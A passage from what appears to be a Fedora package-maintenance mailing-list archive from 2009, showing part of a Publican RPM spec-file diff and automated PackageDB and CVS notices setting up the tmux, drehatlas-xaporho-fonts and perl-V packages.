+BuildRequires:  lohit-fonts-tamil lohit-fonts-telugu liberation-fonts baekmuk-ttf-fonts-batang
+%endif
+%if %{OTHER}
+Requires:       liberation-mono-fonts liberation-sans-fonts liberation-serif-fonts
+Requires:       cjkuni-uming-fonts  sazanami-gothic-fonts sazanami-mincho-fonts
+Requires:       lklug-fonts baekmuk-ttf-batang-fonts
+
+BuildRequires:  liberation-mono-fonts liberation-sans-fonts liberation-serif-fonts
+BuildRequires:  cjkuni-uming-fonts sazanami-gothic-fonts sazanami-mincho-fonts
+BuildRequires:  lklug-fonts baekmuk-ttf-batang-fonts
+# Indic font names have changed AGAIN (F12)
+# and AGAIN they fail to set Provides
+# but they don't work for PDFs anyway
+# So we aren't going to use them
+#Requires:       lohit-fonts-bengali lohit-fonts-gujarati
+#Requires:       lohit-fonts-hindi lohit-fonts-kannada
+#Requires:       lohit-fonts-malayalam lohit-fonts-oriya lohit-fonts-punjabi
+#Requires:       lohit-fonts-tamil lohit-fonts-telugu
+#BuildRequires:  lohit-fonts-bengali lohit-fonts-gujarati
+#BuildRequires:  lohit-fonts-hindi lohit-fonts-kannada
+#BuildRequires:  lohit-fonts-malayalam lohit-fonts-oriya lohit-fonts-punjabi
+#BuildRequires:  lohit-fonts-tamil lohit-fonts-telugu
+%endif
+
+Obsoletes:        Publican < 1.0
 
 %description
 Publican is a DocBook publication system, not just a DocBook processing tool.
@@ -51,13 +126,14 @@ As well as ensuring your DocBook XML is 
 your XML is up to publishable standard.
 
 %package doc
-Group:		Documentation
-Summary:	Documentation for the Publican package
+Group:          Documentation
+Summary:        Documentation for the Publican package
 %if %{HTMLVIEW}
-Requires:	htmlview
+Requires:       htmlview
 %else
-Requires:	xdg-utils
+Requires:       xdg-utils
 %endif
+Obsoletes:        Publican-doc < 1.0
 
 %description doc
 Publican is a tool for publishing material authored in DocBook XML.
@@ -66,34 +142,23 @@ using publican. It is not a DocBook XML 
 solely on using the publican tools.
 
 %prep
-%setup -q
+%setup -q -n Publican-%{version}
 
 %build
-%{__make} OS_VER=%{?dist} docs
+%{__perl} Build.PL installdirs=vendor
+./Build
+dir=`pwd` && cd Users_Guide && perl -I $dir/blib/lib $dir/blib/script/publican build \
+        --formats=html-desktop --publish --langs=all \
+        --common_config="$dir/blib/datadir" \
+        --common_content="$dir/blib/datadir/Common_Content"
 
 %install
 rm -rf $RPM_BUILD_ROOT
-mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/%{name}/Templates
-mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/applications
-mkdir -p -m755 $RPM_BUILD_ROOT%{_bindir}
-install -m 755 bin/* $RPM_BUILD_ROOT%{_bindir}
-
-%if %{EMBED_DOCKBOOK45}
-%{__perl} -p -i -e 's|^#CATALOGS_OVERRIDE$|CATALOGS\t= XML_CATALOG_FILES="%{_datadir}/%{name}/xsl/docbook/dtd-4.5/catalog.xml %{_datadir}/%{name}/xsl/docbook/1.72.0/catalog.xml"|g' make/Makefile.templates
-%endif
 
-for i in fop make xsl Common_Content templates maven; do
-	cp -rf $i $RPM_BUILD_ROOT%{_datadir}/%{name}/$i
-done
-cp -rf Book_Template $RPM_BUILD_ROOT%{_datadir}/%{name}/Templates/common-Book_Template
-cp -rf Set_Template $RPM_BUILD_ROOT%{_datadir}/%{name}/Templates/common-Set_Template
-cp -rf Article_Template $RPM_BUILD_ROOT%{_datadir}/%{name}/Templates/common-Article_Template
+./Build install destdir=$RPM_BUILD_ROOT create_packlist=0
+find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;
 
-%if %{EMBED_DOCKBOOK45}
-cp -rf xsl_extras/docbook $RPM_BUILD_ROOT%{_datadir}/%{name}/xsl/.
-%endif
-
-cp xsl_extras/docbook/1.72.0/extensions/saxon65.jar $RPM_BUILD_ROOT%{_datadir}/%{name}/xsl/.
+%{_fixperms} $RPM_BUILD_ROOT/*
 
 sed -i -e 's|@@FILE@@|%{_docdir}/%{name}-doc-%{version}/en-US/index.html|' %{name}.desktop
 sed -i -e 's|@@ICON@@|%{_docdir}/%{name}-doc-%{version}/en-US/images/icon.svg|' %{name}.desktop
@@ -104,38 +169,61 @@ sed -i -e 's|xdg-open|htmlview|' %{name}
 
 desktop-file-install --vendor="%{my_vendor}" --dir=$RPM_BUILD_ROOT%{_datadir}/applications %{name}.desktop
 
+%check
+#./Build test
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README
-%doc COPYING
-%doc fdl.txt
-%{_datadir}/%{name}
-%{_bindir}/create_book
-%{_bindir}/mkxpot
-%{_bindir}/msgxmerge
-%{_bindir}/po2xlf
-%{_bindir}/po2sgml
-%{_bindir}/potmerge
-%{_bindir}/poxmerge
-%{_bindir}/rmImages
-%{_bindir}/StSe_Reports
-%{_bindir}/xlf2pot
-%{_bindir}/xmlClean
+%doc Changes README COPYING Artistic
+%{perl_vendorlib}/*
+%{_mandir}/man3/*
+%{_mandir}/man1/*
+%{_bindir}/publican
+%{_datadir}/publican
 
 %files doc
-%doc docs/*
+%defattr(-,root,root,-)
+%doc Users_Guide/publish/*
 %{_datadir}/applications/%{my_vendor}-%{name}.desktop
 %doc fdl.txt
 
 %changelog
-* Fri Sep 21 2009  Jeff Fearn <jfearn at redhat.com> 0.44-2
-- remove lohit font deps, they don't work for PDFs generated in FOP
-
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.44-1
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Mon Oct 26 2009  Jeff Fearn <jfearn at redhat.com> 1.0-0
+- Add base langauge summary & descriptions to translated spec file. BZ #515573
+- Fix translated package build failure.
+- Change tabs to spaces in generated spec files.
+- Fix Locale::Maketext::Gettext dep being missed on RHEL.
+- Fix common paths on Windows
+- Added docbook-style-xsl dep for version 1.75.1+
+- POD fix from Mikhail Gusarov <dottedmag at dottedmag.net>
+- Added processing file message to update_pot. BZ #518354
+- add EPUB stub
+- Clean up Copyright in numerous files.
+- Add security callback for exslt:document.
+- Update XML::LibXML & XML::LibXSLT minimum versions to 1.67
+- Fix rounded corners in HTML. BZ #509768
+- Fix nested images breakin in PDF. BZ #491782
+- Remove border from HTML table for simplelist. BZ #502126
+- Fix remarks not being highlighted in PDF. BZ #509307
+- Resize shade.verbatim font size. BZ #497462
+- Change step page size limitation to para size limitation. BZ#492984
+- Add warning message for missing images. BZ #495821
+- Fix fuzzy images. BZ #479794
+- swap from paths from Publican to publican and obsolete beta packages.
+- Fix large example PDF issue. BZ #531685
+
+* Sat Jul 18 2009  Jeff Fearn <jfearn at redhat.com> 0.99-0.ALPHA1
+- Rebase to Perl rewrite.
+
+* Wed Mar 25 2009 Jeff Fearn <jfearn at redhat.com> 0.45
+- Add keep-together.within-column="always" to step. BZ #492021
+- Fix right to left fo ar-AR. BZ #486162
+- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
+- Added missing doccomment and number to PDF highlight. BZ #491241
+- Fix files dir missing from RPMs. BZ #492034
 
 * Wed Mar 11 2009  Jeff Fearn <jfearn at redhat.com> 0.44
 - Add 0-9 and '.' to DOCNAME regex. BZ #489626
@@ -487,10 +575,10 @@ rm -rf $RPM_BUILD_ROOT
 - Added build message when copying Product Specific common files
 - Move local entity to first position so it overrides common entity files
 - Added missing DocBook tags to xmlClean:
-- 	accel blockquote classname code colophon envar example footnote
-- 	guisubmenu interface keycap keycombo literal literallayout option
-- 	parameter prompt property see seealso substeps systemitem wordasword
-- 	glossary glossdiv glosssee glossseealso
+-         accel blockquote classname code colophon envar example footnote
+-         guisubmenu interface keycap keycombo literal literallayout option
+-         parameter prompt property see seealso substeps systemitem wordasword
+-         glossary glossdiv glosssee glossseealso
 - Moved executables in to bin directory.
 - Fixed layout of formal para titles in PDF
 - Removed trunctaion and elipses from title used for page headers
@@ -576,23 +664,23 @@ rm -rf $RPM_BUILD_ROOT
 - add DocBook 1.72.0 xsl to package
 - modify makefiles to use new DocBook catalogs
 - xmlClean:
-- 	Changed DTD from 4.3 to 4.5
-- 	Added bookname to node id's to help avoid id clashes in sets
-- 	Fixed line wrap issue in PDF generation for zh-CN and zh-TW
-- 	Enforced validation of xml on all build targets
-- 	Add legalnotice tag 
-- 	Add address tag 
-- 	Add street tag 
-- 	Add city tag 
-- 	Add state tag 
-- 	Add postcode tag 
-- 	Add country tag 
-- 	Add phone tag 
-- 	Add fax tag 
-- 	Add pob tag 
-- 	Add preface tag 
-- 	Add bibliograpy related tags 
-- 	Add qandaset related tags 
+-         Changed DTD from 4.3 to 4.5
+-         Added bookname to node id's to help avoid id clashes in sets
+-         Fixed line wrap issue in PDF generation for zh-CN and zh-TW
+-         Enforced validation of xml on all build targets
+-         Add legalnotice tag 
+-         Add address tag 
+-         Add street tag 
+-         Add city tag 
+-         Add state tag 
+-         Add postcode tag 
+-         Add country tag 
+-         Add phone tag 
+-         Add fax tag 
+-         Add pob tag 
+-         Add preface tag 
+-         Add bibliograpy related tags 
+-         Add qandaset related tags 
 - Removed Confidential image and restyle confidential html text
 - Added po2xlf script
 - Added xlf2po script
@@ -617,9 +705,9 @@ rm -rf $RPM_BUILD_ROOT
 - fix image dimensions on content/common/en-US/images/redhat-logo.svg
 - remove leading space from rpm spec desription
 - Made abstract wrap at 72 characters and be left aligned.
--	it's used for the spec description
+-   it's used for the spec description
 - Move legal notice link param from xhtml.xsl to main-html so nochunks
--	target will have legal notice embedded in page
+-   target will have legal notice embedded in page
 
 * Tue Apr 24 2007 Jeff Fearn <jfearn at redhat.com> 0.9.1
 - fix path to xsl <blush>
@@ -709,3 +797,4 @@ rm -rf $RPM_BUILD_ROOT
 
 * Wed Feb 07 2007 Jeff Fearn <jfearn at redhat.com> 0.0
 - Initial creation
+


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	12 Mar 2009 06:42:31 -0000	1.12
+++ sources	31 Oct 2009 23:33:40 -0000	1.13
@@ -1 +1 @@
-720fcfd8903fe370a69107350e2afa22  publican-0.44.tgz
+1c0b735fd5ba7fe7487d0e88ae894f01  Publican-1.0.tar.gz



From pkgdb at fedoraproject.org  Sat Oct 31 23:40:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:40:51 +0000
Subject: [pkgdb] tmux was added for slankes
Message-ID: <20091031234051.63CA410F843@bastion2.fedora.phx.redhat.com>

kevin has added Package tmux with summary A terminal multiplexer
kevin has approved Package tmux
kevin has added a Fedora devel branch for tmux with an owner of slankes
kevin has approved tmux in Fedora devel
kevin has approved Package tmux
kevin has set commit to Approved for 107427 on tmux (Fedora devel)
kevin has set checkout to Approved for 107427 on tmux (Fedora devel)
kevin has set build to Approved for 107427 on tmux (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/tmux



From pkgdb at fedoraproject.org  Sat Oct 31 23:40:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:40:52 +0000
Subject: [pkgdb] tmux summary updated by kevin
Message-ID: <20091031234052.98F7710F849@bastion2.fedora.phx.redhat.com>

kevin set package tmux summary to A terminal multiplexer

To make changes to this package see:
  /pkgdb/packages/name/tmux



From pkgdb at fedoraproject.org  Sat Oct 31 23:40:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:40:52 +0000
Subject: [pkgdb] tmux (Fedora EPEL, 5) updated by kevin
Message-ID: <20091031234052.A4B7510F86A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for tmux
kevin has set commit to Approved for 107427 on tmux (Fedora 12)
kevin has set checkout to Approved for 107427 on tmux (Fedora 12)
kevin has set build to Approved for 107427 on tmux (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/tmux



From pkgdb at fedoraproject.org  Sat Oct 31 23:40:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:40:52 +0000
Subject: [pkgdb] tmux (Fedora EPEL, 5) updated by kevin
Message-ID: <20091031234052.A148B10F865@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for tmux
kevin has set commit to Approved for 107427 on tmux (Fedora 11)
kevin has set checkout to Approved for 107427 on tmux (Fedora 11)
kevin has set build to Approved for 107427 on tmux (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/tmux



From pkgdb at fedoraproject.org  Sat Oct 31 23:40:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:40:52 +0000
Subject: [pkgdb] tmux (Fedora EPEL, 5) updated by kevin
Message-ID: <20091031234052.B7E5210F872@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for tmux
kevin has set commit to Approved for 107427 on tmux (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on tmux (Fedora EPEL 5)
kevin has set build to Approved for 107427 on tmux (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/tmux



From kevin at fedoraproject.org  Sat Oct 31 23:41:12 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:41:12 +0000 (UTC)
Subject: rpms/tmux - New directory
Message-ID: <20091031234112.E294211C0380@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tmux
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA26690/rpms/tmux

Log Message:
Directory /cvs/pkgs/rpms/tmux added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:41:13 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:41:13 +0000 (UTC)
Subject: rpms/tmux/devel - New directory
Message-ID: <20091031234113.432E711C04DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tmux/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA26690/rpms/tmux/devel

Log Message:
Directory /cvs/pkgs/rpms/tmux/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:41:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:41:29 +0000 (UTC)
Subject: rpms/tmux Makefile,NONE,1.1
Message-ID: <20091031234129.B9A4E11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tmux
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA26690/rpms/tmux

Added Files:
	Makefile 
Log Message:
Setup of module tmux


--- NEW FILE Makefile ---
# Top level Makefile for module tmux
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:41:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:41:30 +0000 (UTC)
Subject: rpms/tmux/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091031234130.8407A11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tmux/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA26690/rpms/tmux/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module tmux


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: tmux
# $Id: Makefile,v 1.1 2009/10/31 23:41:30 kevin Exp $
NAME := tmux
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:41:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:41:50 +0000
Subject: [pkgdb] drehatlas-xaporho-fonts was added for adsllc
Message-ID: <20091031234150.7733D10F843@bastion2.fedora.phx.redhat.com>

kevin has added Package drehatlas-xaporho-fonts with summary A Latin typeface that is sharp and angular
kevin has approved Package drehatlas-xaporho-fonts
kevin has added a Fedora devel branch for drehatlas-xaporho-fonts with an owner of adsllc
kevin has approved drehatlas-xaporho-fonts in Fedora devel
kevin has approved Package drehatlas-xaporho-fonts
kevin has set commit to Approved for 107427 on drehatlas-xaporho-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on drehatlas-xaporho-fonts (Fedora devel)
kevin has set build to Approved for 107427 on drehatlas-xaporho-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-xaporho-fonts



From pkgdb at fedoraproject.org  Sat Oct 31 23:41:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:41:52 +0000
Subject: [pkgdb] drehatlas-xaporho-fonts summary updated by kevin
Message-ID: <20091031234152.4BAE210F849@bastion2.fedora.phx.redhat.com>

kevin set package drehatlas-xaporho-fonts summary to A Latin typeface that is sharp and angular

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-xaporho-fonts



From pkgdb at fedoraproject.org  Sat Oct 31 23:41:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:41:52 +0000
Subject: [pkgdb] drehatlas-xaporho-fonts (Fedora, 10) updated by kevin
Message-ID: <20091031234152.525DF10F865@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for drehatlas-xaporho-fonts
kevin has set commit to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 11)
kevin has set build to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 11)
kevin approved watchbugzilla on drehatlas-xaporho-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on drehatlas-xaporho-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-xaporho-fonts



From pkgdb at fedoraproject.org  Sat Oct 31 23:41:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:41:52 +0000
Subject: [pkgdb] drehatlas-xaporho-fonts (Fedora, 10) updated by kevin
Message-ID: <20091031234152.59ED910F86A@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on drehatlas-xaporho-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on drehatlas-xaporho-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-xaporho-fonts



From pkgdb at fedoraproject.org  Sat Oct 31 23:41:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:41:52 +0000
Subject: [pkgdb] drehatlas-xaporho-fonts (Fedora, 10) updated by kevin
Message-ID: <20091031234152.639AA10F872@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for drehatlas-xaporho-fonts
kevin has set commit to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 12)
kevin has set build to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 12)
kevin approved watchbugzilla on drehatlas-xaporho-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on drehatlas-xaporho-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-xaporho-fonts



From pkgdb at fedoraproject.org  Sat Oct 31 23:41:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:41:52 +0000
Subject: [pkgdb] drehatlas-xaporho-fonts (Fedora, 10) updated by kevin
Message-ID: <20091031234152.6EF3810F87F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for drehatlas-xaporho-fonts
kevin has set commit to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 10)
kevin has set build to Approved for 107427 on drehatlas-xaporho-fonts (Fedora 10)
kevin approved watchbugzilla on drehatlas-xaporho-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on drehatlas-xaporho-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-xaporho-fonts



From kevin at fedoraproject.org  Sat Oct 31 23:42:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:42:11 +0000 (UTC)
Subject: rpms/drehatlas-xaporho-fonts - New directory
Message-ID: <20091031234211.95BA111C0345@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-xaporho-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI27113/rpms/drehatlas-xaporho-fonts

Log Message:
Directory /cvs/pkgs/rpms/drehatlas-xaporho-fonts added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:42:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:42:11 +0000 (UTC)
Subject: rpms/drehatlas-xaporho-fonts/devel - New directory
Message-ID: <20091031234211.D0DC111C0371@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-xaporho-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI27113/rpms/drehatlas-xaporho-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/drehatlas-xaporho-fonts/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:42:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:42:26 +0000 (UTC)
Subject: rpms/drehatlas-xaporho-fonts Makefile,NONE,1.1
Message-ID: <20091031234226.E841111C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-xaporho-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI27113/rpms/drehatlas-xaporho-fonts

Added Files:
	Makefile 
Log Message:
Setup of module drehatlas-xaporho-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module drehatlas-xaporho-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:42:28 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:42:28 +0000 (UTC)
Subject: rpms/drehatlas-xaporho-fonts/devel .cvsignore, NONE, 1.1 Makefile, 
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091031234228.3718B11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-xaporho-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI27113/rpms/drehatlas-xaporho-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module drehatlas-xaporho-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: drehatlas-xaporho-fonts
# $Id: Makefile,v 1.1 2009/10/31 23:42:27 kevin Exp $
NAME := drehatlas-xaporho-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:43:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:43:13 +0000
Subject: [pkgdb] perl-V was added for sciurius
Message-ID: <20091031234313.5CC7B10F841@bastion2.fedora.phx.redhat.com>

kevin has added Package perl-V with summary Perl module to show versions of perl modules
kevin has approved Package perl-V
kevin has added a Fedora devel branch for perl-V with an owner of sciurius
kevin has approved perl-V in Fedora devel
kevin has approved Package perl-V
kevin has set commit to Approved for 107427 on perl-V (Fedora devel)
kevin has set checkout to Approved for 107427 on perl-V (Fedora devel)
kevin has set build to Approved for 107427 on perl-V (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-V



From pkgdb at fedoraproject.org  Sat Oct 31 23:43:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:43:15 +0000
Subject: [pkgdb] perl-V (Fedora, 10) updated by kevin
Message-ID: <20091031234315.1B05A10F85D@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on perl-V (Fedora devel) for perl-sig
kevin approved watchcommits on perl-V (Fedora devel) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-V



From pkgdb at fedoraproject.org  Sat Oct 31 23:43:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:43:14 +0000
Subject: [pkgdb] perl-V summary updated by kevin
Message-ID: <20091031234315.1536D10F84F@bastion2.fedora.phx.redhat.com>

kevin set package perl-V summary to Perl module to show versions of perl modules

To make changes to this package see:
  /pkgdb/packages/name/perl-V



From pkgdb at fedoraproject.org  Sat Oct 31 23:43:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:43:15 +0000
Subject: [pkgdb] perl-V (Fedora, 10) updated by kevin
Message-ID: <20091031234315.2E54010F867@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for perl-V
kevin has set commit to Approved for 107427 on perl-V (Fedora 11)
kevin has set checkout to Approved for 107427 on perl-V (Fedora 11)
kevin has set build to Approved for 107427 on perl-V (Fedora 11)
kevin approved watchbugzilla on perl-V (Fedora 11) for perl-sig
kevin approved watchcommits on perl-V (Fedora 11) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-V



From pkgdb at fedoraproject.org  Sat Oct 31 23:43:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:43:15 +0000
Subject: [pkgdb] perl-V (Fedora, 10) updated by kevin
Message-ID: <20091031234315.3908410F871@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for perl-V
kevin has set commit to Approved for 107427 on perl-V (Fedora 10)
kevin has set checkout to Approved for 107427 on perl-V (Fedora 10)
kevin has set build to Approved for 107427 on perl-V (Fedora 10)
kevin approved watchbugzilla on perl-V (Fedora 10) for perl-sig
kevin approved watchcommits on perl-V (Fedora 10) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-V



From pkgdb at fedoraproject.org  Sat Oct 31 23:43:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:43:15 +0000
Subject: [pkgdb] perl-V (Fedora, 10) updated by kevin
Message-ID: <20091031234315.43D5E10F87E@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for perl-V
kevin has set commit to Approved for 107427 on perl-V (Fedora 12)
kevin has set checkout to Approved for 107427 on perl-V (Fedora 12)
kevin has set build to Approved for 107427 on perl-V (Fedora 12)
kevin approved watchbugzilla on perl-V (Fedora 12) for perl-sig
kevin approved watchcommits on perl-V (Fedora 12) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-V



From kevin at fedoraproject.org  Sat Oct 31 23:43:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:43:27 +0000 (UTC)
Subject: rpms/perl-V - New directory
Message-ID: <20091031234327.82AB011C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-V
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsB27589/rpms/perl-V

Log Message:
Directory /cvs/pkgs/rpms/perl-V added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:43:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:43:27 +0000 (UTC)
Subject: rpms/perl-V/devel - New directory
